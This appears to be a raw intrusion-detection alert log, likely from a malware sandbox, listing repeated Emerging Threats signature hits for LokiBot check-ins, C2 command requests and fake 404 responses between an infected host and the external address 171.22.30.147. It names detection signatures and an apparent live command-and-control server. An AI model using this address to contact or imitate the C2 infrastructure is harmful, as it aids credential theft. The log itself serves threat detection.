192.168.2.3171.22.30.14749767802025381 01/05/23-08:52:30.299348	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500082025483 01/05/23-08:53:42.185814	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50008	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749775802024313 01/05/23-08:52:32.683406	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749988802825766 01/05/23-08:53:36.817903	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49988	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749982802825766 01/05/23-08:53:35.215314	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49982	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749775802024318 01/05/23-08:52:32.683406	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749893802825766 01/05/23-08:53:07.754435	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49893	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749870802021641 01/05/23-08:53:01.561418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749903802825766 01/05/23-08:53:11.877542	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49903	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750066802024313 01/05/23-08:53:59.096230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50066	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750076802024318 01/05/23-08:54:01.789357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50076	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749742802024318 01/05/23-08:52:23.189713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497772025483 01/05/23-08:52:34.636579	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49777	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749919802021641 01/05/23-08:53:16.188265	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49919	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749742802024313 01/05/23-08:52:23.189713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497442025483 01/05/23-08:52:23.820398	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49744	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749880802021641 01/05/23-08:53:04.232334	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49880	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749975802021641 01/05/23-08:53:33.363507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49975	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749804802825766 01/05/23-08:52:42.167879	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49804	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497332025483 01/05/23-08:52:20.762776	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49733	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749969802024318 01/05/23-08:53:31.782144	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49969	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750076802024313 01/05/23-08:54:01.789357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50076	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749998802021641 01/05/23-08:53:39.461942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49998	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749903802021641 01/05/23-08:53:11.877542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49903	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749814802021641 01/05/23-08:52:44.953030	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750068802025381 01/05/23-08:53:59.646284	TCP	2025381	ET TROJAN LokiBot Checkin	50068	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750062802025381 01/05/23-08:53:58.073723	TCP	2025381	ET TROJAN LokiBot Checkin	50062	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750066802024318 01/05/23-08:53:59.096230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50066	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498372025483 01/05/23-08:52:52.073871	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49837	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749909802021641 01/05/23-08:53:13.489642	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49909	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749933802024313 01/05/23-08:53:20.043516	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49933	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749841802024313 01/05/23-08:52:53.743125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749899802021641 01/05/23-08:53:10.169881	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49899	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499902025483 01/05/23-08:53:37.463055	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49990	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498262025483 01/05/23-08:52:48.269953	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49826	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749988802021641 01/05/23-08:53:36.817903	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49988	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500192025483 01/05/23-08:53:45.393441	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50019	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749841802024318 01/05/23-08:52:53.743125	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49841	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497882025483 01/05/23-08:52:37.863351	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49788	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749830802025381 01/05/23-08:52:49.252221	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498092025483 01/05/23-08:52:43.678579	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49809	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497662025483 01/05/23-08:52:30.097797	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49766	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749804802021641 01/05/23-08:52:42.167879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749715802021641 01/05/23-08:52:14.021138	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750078802025381 01/05/23-08:54:02.320663	TCP	2025381	ET TROJAN LokiBot Checkin	50078	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749857802024318 01/05/23-08:52:58.054307	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49857	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750036802825766 01/05/23-08:53:51.046851	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50036	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749883802021641 01/05/23-08:53:05.037332	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49883	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749857802024313 01/05/23-08:52:58.054307	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749843802025381 01/05/23-08:52:54.266621	TCP	2025381	ET TROJAN LokiBot Checkin	49843	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749794802021641 01/05/23-08:52:39.439392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749754802025381 01/05/23-08:52:26.655822	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749972802825766 01/05/23-08:53:32.566966	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49972	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749883802825766 01/05/23-08:53:05.037332	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49883	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749794802825766 01/05/23-08:52:39.439392	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49794	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749752802024318 01/05/23-08:52:26.039085	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749752802024313 01/05/23-08:52:26.039085	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749728802021641 01/05/23-08:52:19.268418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750010802021641 01/05/23-08:53:42.643021	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50010	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750023802825766 01/05/23-08:53:47.546596	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50023	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749867802024318 01/05/23-08:53:00.773467	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49867	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749806802024318 01/05/23-08:52:42.779655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49806	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749951802025381 01/05/23-08:53:24.927407	TCP	2025381	ET TROJAN LokiBot Checkin	49951	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749711802024313 01/05/23-08:52:12.061796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49711	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749772802024318 01/05/23-08:52:31.644906	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498152025483 01/05/23-08:52:45.296277	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49815	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749711802024318 01/05/23-08:52:12.061796	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49711	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749806802024313 01/05/23-08:52:42.779655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749864802021641 01/05/23-08:52:59.960618	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497982025483 01/05/23-08:52:40.632649	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49798	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749772802024313 01/05/23-08:52:31.644906	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749727802025381 01/05/23-08:52:18.985108	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749788802025381 01/05/23-08:52:37.784136	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749895802024318 01/05/23-08:53:08.372653	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49895	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750055802025381 01/05/23-08:53:56.183544	TCP	2025381	ET TROJAN LokiBot Checkin	50055	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750011802024313 01/05/23-08:53:42.925761	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50011	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497572025483 01/05/23-08:52:27.578914	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49757	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749895802024313 01/05/23-08:53:08.372653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49895	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749987802021641 01/05/23-08:53:36.549688	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49987	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749834802024318 01/05/23-08:52:50.512718	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49834	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749868802825766 01/05/23-08:53:01.029018	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49868	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749722802025381 01/05/23-08:52:17.506386	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749773802825766 01/05/23-08:52:31.909319	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49773	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749986802825766 01/05/23-08:53:36.285692	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49986	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750027802025381 01/05/23-08:53:48.599181	TCP	2025381	ET TROJAN LokiBot Checkin	50027	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749892802021641 01/05/23-08:53:07.470439	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49892	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749923802025381 01/05/23-08:53:17.329996	TCP	2025381	ET TROJAN LokiBot Checkin	49923	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750050802025381 01/05/23-08:53:54.799294	TCP	2025381	ET TROJAN LokiBot Checkin	50050	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749867802024313 01/05/23-08:53:00.773467	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49867	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749817802025381 01/05/23-08:52:45.747633	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749803802021641 01/05/23-08:52:41.905218	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49803	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499742025483 01/05/23-08:53:33.180561	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49974	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750074802021641 01/05/23-08:54:01.233569	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50074	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750024802825766 01/05/23-08:53:47.812882	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50024	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749833802025381 01/05/23-08:52:50.090304	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500352025483 01/05/23-08:53:50.821138	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50035	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749921802021641 01/05/23-08:53:16.794242	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49921	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749982802021641 01/05/23-08:53:35.215314	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49982	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750028802024313 01/05/23-08:53:48.853917	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50028	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749728802024318 01/05/23-08:52:19.268418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499552025483 01/05/23-08:53:26.069151	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49955	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750056802024318 01/05/23-08:53:56.463023	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50056	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500132025483 01/05/23-08:53:43.537023	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50013	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749912802024318 01/05/23-08:53:14.329479	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49912	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749894802025381 01/05/23-08:53:08.006895	TCP	2025381	ET TROJAN LokiBot Checkin	49894	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750028802024318 01/05/23-08:53:48.853917	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50028	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750025802021641 01/05/23-08:53:48.086655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50025	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749750802025381 01/05/23-08:52:25.450968	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750039802025381 01/05/23-08:53:51.865723	TCP	2025381	ET TROJAN LokiBot Checkin	50039	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749777802024318 01/05/23-08:52:34.550245	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49777	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749777802024313 01/05/23-08:52:34.550245	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499332025483 01/05/23-08:53:20.124148	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49933	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750046802021641 01/05/23-08:53:53.748051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50046	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749774802021641 01/05/23-08:52:32.369884	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749883802024313 01/05/23-08:53:05.037332	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49883	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497602025483 01/05/23-08:52:28.390880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49760	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749834802024313 01/05/23-08:52:50.512718	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749830802825766 01/05/23-08:52:49.252221	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49830	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749866802025381 01/05/23-08:53:00.520534	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749883802024318 01/05/23-08:53:05.037332	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49883	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500762025483 01/05/23-08:54:01.869812	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50076	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497272025483 01/05/23-08:52:19.059286	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49727	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749912802024313 01/05/23-08:53:14.329479	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49912	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750029802825766 01/05/23-08:53:49.112211	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50029	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749724802825766 01/05/23-08:52:18.098497	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49724	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749728802024313 01/05/23-08:52:19.268418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497052025483 01/05/23-08:52:09.452565	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49705	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750056802024313 01/05/23-08:53:56.463023	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50056	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749802802825766 01/05/23-08:52:41.641382	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49802	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499962025483 01/05/23-08:53:39.013838	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49996	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750052802825766 01/05/23-08:53:55.369344	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50052	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749723802024313 01/05/23-08:52:17.811814	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500542025483 01/05/23-08:53:55.973562	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50054	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750051802024318 01/05/23-08:53:55.100340	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50051	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749807802825766 01/05/23-08:52:43.044779	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49807	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749746802021641 01/05/23-08:52:24.299560	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749959802021641 01/05/23-08:53:28.075379	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49959	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750051802024313 01/05/23-08:53:55.100340	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50051	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749723802024318 01/05/23-08:52:17.811814	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49723	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749815802021641 01/05/23-08:52:45.213789	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749818802024318 01/05/23-08:52:46.013246	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49818	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749855802024318 01/05/23-08:52:57.514506	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49855	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497792025483 01/05/23-08:52:35.313919	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49779	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749824802021641 01/05/23-08:52:47.639113	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749855802024313 01/05/23-08:52:57.514506	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749818802024313 01/05/23-08:52:46.013246	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749751802024313 01/05/23-08:52:25.762510	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749843802021641 01/05/23-08:52:54.266621	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49843	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749972802025381 01/05/23-08:53:32.566966	TCP	2025381	ET TROJAN LokiBot Checkin	49972	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749846802024318 01/05/23-08:52:55.097334	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49846	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497762025483 01/05/23-08:52:33.700899	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49776	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749911802025381 01/05/23-08:53:14.014731	TCP	2025381	ET TROJAN LokiBot Checkin	49911	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749999802021641 01/05/23-08:53:39.715844	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49999	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749760802024313 01/05/23-08:52:28.304789	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749902802025381 01/05/23-08:53:11.610501	TCP	2025381	ET TROJAN LokiBot Checkin	49902	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749760802024318 01/05/23-08:52:28.304789	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49760	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749761802825766 01/05/23-08:52:28.591148	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49761	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749751802024318 01/05/23-08:52:25.762510	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497352025483 01/05/23-08:52:21.355667	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49735	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749856802825766 01/05/23-08:52:57.793570	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49856	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750067802025381 01/05/23-08:53:59.373237	TCP	2025381	ET TROJAN LokiBot Checkin	50067	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749857802025381 01/05/23-08:52:58.054307	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749828802825766 01/05/23-08:52:48.735651	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49828	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500732025483 01/05/23-08:54:01.037839	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50073	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750010802025381 01/05/23-08:53:42.643021	TCP	2025381	ET TROJAN LokiBot Checkin	50010	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749720802021641 01/05/23-08:52:16.949813	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750065802024313 01/05/23-08:53:58.843527	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50065	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750078802825766 01/05/23-08:54:02.320663	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50078	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749733802825766 01/05/23-08:52:20.679095	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49733	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749946802825766 01/05/23-08:53:23.547730	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49946	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750077802024318 01/05/23-08:54:02.067623	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50077	80	192.168.2.3	171.22.30.147
